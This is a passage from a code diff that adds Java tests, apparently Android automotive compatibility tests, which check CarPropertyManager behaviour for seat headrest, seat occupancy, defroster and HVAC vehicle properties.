+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_HEIGHT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatHeadrestAnglePosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_ANGLE_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatHeadrestAngleMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_ANGLE_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatHeadrestForeAftPosIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_POS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatHeadrestForeAftMoveIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_MOVE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testSeatOccupancyIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_OCCUPANCY,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class)
+ .setPossibleCarPropertyValues(VEHICLE_SEAT_OCCUPANCY_STATES).build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacDefrosterIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_DEFROSTER,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHvacElectricDefrosterOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_ELECTRIC_DEFROSTER_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHvacSideMirrorHeatIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_SIDE_MIRROR_HEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().requireMinValuesToBeZero().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHvacSteeringWheelHeatIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_STEERING_WHEEL_HEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().requireZeroToBeContainedInMinMaxRanges()
+ .build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHvacTemperatureDisplayUnitsIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_DISPLAY_UNITS,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossibleConfigArrayValues(
+ HVAC_TEMPERATURE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+ .verifySetterWithConfigArrayValues().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ public void testHvacTemperatureValueSuggestionIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_VALUE_SUGGESTION,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Float[].class).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacPowerOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_POWER_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setConfigArrayVerifier(configArray -> {
+ CarPropertyConfig<?> hvacPowerOnCarPropertyConfig =
+ mCarPropertyManager.getCarPropertyConfig(VehiclePropertyIds.HVAC_POWER_ON);
+ for (int powerDependentProperty : configArray) {
+ CarPropertyConfig<?> powerDependentCarPropertyConfig =
+ mCarPropertyManager.getCarPropertyConfig(powerDependentProperty);
+ if (powerDependentCarPropertyConfig == null) {
+ continue;
+ }
+ assertWithMessage(
+ "HVAC_POWER_ON configArray must only contain VehicleAreaSeat type "
+ + "properties: " + VehiclePropertyIds.toString(
+ powerDependentProperty)).that(
+ powerDependentCarPropertyConfig.getAreaType()).isEqualTo(
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT);
+ assertWithMessage(
+ "HVAC_POWER_ON's area IDs must match the area IDs of power dependent "
+ + "property: " + VehiclePropertyIds.toString(
+ powerDependentProperty)).that(Arrays.stream(
+ powerDependentCarPropertyConfig.getAreaIds()).boxed().collect(
+ Collectors.toList())).containsExactlyElementsIn(Arrays.stream(
+ hvacPowerOnCarPropertyConfig.getAreaIds()).boxed().collect(
+ Collectors.toList()));
+ }
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacFanSpeedIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_FAN_SPEED,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).requireMinMaxValues().setPossiblyDependentOnHvacPowerOn().build()
+ .verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacFanDirectionAvailableIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+ Integer[].class).setPossiblyDependentOnHvacPowerOn().setAreaIdsVerifier(
+ areaIds -> {
+ CarPropertyConfig<?> hvacFanDirectionCarPropertyConfig =
+ mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.HVAC_FAN_DIRECTION);
+ assertWithMessage("HVAC_FAN_DIRECTION must be implemented if "
+ + "HVAC_FAN_DIRECTION_AVAILABLE is implemented").that(
+ hvacFanDirectionCarPropertyConfig).isNotNull();
+
+ assertWithMessage(
+ "HVAC_FAN_DIRECTION_AVAILABLE area IDs must match the area IDs of "
+ + "HVAC_FAN_DIRECTION").that(Arrays.stream(
+ areaIds).boxed().collect(
+ Collectors.toList())).containsExactlyElementsIn(Arrays.stream(
+ hvacFanDirectionCarPropertyConfig.getAreaIds()).boxed().collect(
+ Collectors.toList()));
+
+ }).setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+ Integer[] fanDirectionValues = (Integer[]) carPropertyValue.getValue();
+ assertWithMessage(
+ "HVAC_FAN_DIRECTION_AVAILABLE area ID: " + carPropertyValue.getAreaId()
+ + " must have at least 1 direction defined").that(
+ fanDirectionValues.length).isAtLeast(1);
+ assertWithMessage(
+ "HVAC_FAN_DIRECTION_AVAILABLE area ID: " + carPropertyValue.getAreaId()
+ + " values all must all be unique: " + Arrays.toString(
+ fanDirectionValues)).that(fanDirectionValues.length).isEqualTo(
+ ImmutableSet.copyOf(fanDirectionValues).size());
+ for (Integer fanDirection : fanDirectionValues) {
+ assertWithMessage("HVAC_FAN_DIRECTION_AVAILABLE's area ID: "
+ + carPropertyValue.getAreaId()
+ + " must be a valid combination of fan directions").that(
+ fanDirection).isIn(ALL_POSSIBLE_HVAC_FAN_DIRECTIONS);
+ }
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacFanDirectionIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_FAN_DIRECTION,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossiblyDependentOnHvacPowerOn().setAreaIdsVerifier(
+ areaIds -> {
+ CarPropertyConfig<?> hvacFanDirectionAvailableCarPropertyConfig =
+ mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE);
+ assertWithMessage("HVAC_FAN_DIRECTION_AVAILABLE must be implemented if "
+ + "HVAC_FAN_DIRECTION is implemented").that(
+ hvacFanDirectionAvailableCarPropertyConfig).isNotNull();
+
+ assertWithMessage("HVAC_FAN_DIRECTION area IDs must match the area IDs of "
+ + "HVAC_FAN_DIRECTION_AVAILABLE").that(Arrays.stream(
+ areaIds).boxed().collect(
+ Collectors.toList())).containsExactlyElementsIn(Arrays.stream(
+ hvacFanDirectionAvailableCarPropertyConfig.getAreaIds()).boxed()
+ .collect(Collectors.toList()));
+
+ }).setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+ CarPropertyValue<Integer[]> hvacFanDirectionAvailableCarPropertyValue =
+ mCarPropertyManager.getProperty(
+ VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE,
+ carPropertyValue.getAreaId());
+ assertWithMessage("HVAC_FAN_DIRECTION_AVAILABLE value must be available").that(
+ hvacFanDirectionAvailableCarPropertyValue).isNotNull();
+
+ assertWithMessage("HVAC_FAN_DIRECTION area ID " + carPropertyValue.getAreaId()
+ + " value must be in list for HVAC_FAN_DIRECTION_AVAILABLE").that(
+ carPropertyValue.getValue()).isIn(
+ Arrays.asList(hvacFanDirectionAvailableCarPropertyValue.getValue()));
+ }).build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacTemperatureCurrentIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_CURRENT,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Float.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacTemperatureSetIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.Builder<Float> hvacTempSetVerifierBuilder =
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_TEMPERATURE_SET,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Float.class).setPossiblyDependentOnHvacPowerOn().setConfigArrayVerifier(
+ configArray -> {
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET config array must be size 6").that(
+ configArray.size()).isEqualTo(6);
+
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET lower bound must be less than the "
+ + "upper bound for "
+ + "the supported temperatures in Celsius").that(
+ configArray.get(0)).isLessThan(configArray.get(1));
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET increment in Celsius must be "
+ + "greater than 0").that(
+ configArray.get(2)).isGreaterThan(0);
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET increment in Celsius must be less "
+ + "than the "
+ + "difference between the upper and lower bound "
+ + "supported "
+ + "temperatures").that(
+ configArray.get(2)).isLessThan(
+ configArray.get(1) - configArray.get(0));
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET increment in Celsius must evenly "
+ + "space the gap "
+ + "between upper and lower bound").that(
+ (configArray.get(1) - configArray.get(0)) % configArray.get(
+ 2)).isEqualTo(0);
+
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET lower bound must be less than the "
+ + "upper bound for "
+ + "the supported temperatures in Fahrenheit").that(
+ configArray.get(3)).isLessThan(configArray.get(4));
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET increment in Fahrenheit must be "
+ + "greater than 0").that(
+ configArray.get(5)).isGreaterThan(0);
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET increment in Fahrenheit must be "
+ + "less than the "
+ + "difference between the upper and lower bound "
+ + "supported "
+ + "temperatures").that(
+ configArray.get(5)).isLessThan(
+ configArray.get(4) - configArray.get(3));
+ assertWithMessage(
+ "HVAC_TEMPERATURE_SET increment in Fahrenheit must evenly"
+ + " space the gap "
+ + "between upper and lower bound").that(
+ (configArray.get(4) - configArray.get(3)) % configArray.get(
+ 5)).isEqualTo(0);
+
+ });
+
+ CarPropertyConfig<?> hvacTempSetConfig = mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.HVAC_TEMPERATURE_SET);
+ if (hvacTempSetConfig != null) {
+ ImmutableSet.Builder<Float> possibleHvacTempSetValuesBuilder =
+ ImmutableSet.builder();
+ for (int possibleHvacTempSetValue = hvacTempSetConfig.getConfigArray().get(0);
+ possibleHvacTempSetValue <= hvacTempSetConfig.getConfigArray().get(1);
+ possibleHvacTempSetValue += hvacTempSetConfig.getConfigArray().get(2)) {
+ possibleHvacTempSetValuesBuilder.add((float) possibleHvacTempSetValue / 10.0f);
+ }
+ hvacTempSetVerifierBuilder.setPossibleCarPropertyValues(
+ possibleHvacTempSetValuesBuilder.build());
+ }
+
+ hvacTempSetVerifierBuilder.build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacAcOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_AC_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacMaxAcOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_MAX_AC_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacMaxDefrostOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_MAX_DEFROST_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacRecircOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_RECIRC_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacAutoOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_AUTO_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacSeatTemperatureIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_SEAT_TEMPERATURE,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossiblyDependentOnHvacPowerOn().requireMinMaxValues()
+ .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacActualFanSpeedRpmIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_ACTUAL_FAN_SPEED_RPM,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Integer.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacAutoRecircOnIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+ VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_AUTO_RECIRC_ON,
+ CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+ VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+ CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+ Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+ mCarPropertyManager);
+ });
+ }
+
+ @Test
+ @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+ "android.car.hardware.property.CarPropertyManager#getProperty",
+ "android.car.hardware.property.CarPropertyManager#setProperty",
+ "android.car.hardware.property.CarPropertyManager#registerCallback",
+ "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+ public void testHvacSeatVentilationIfSupported() {
+ adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
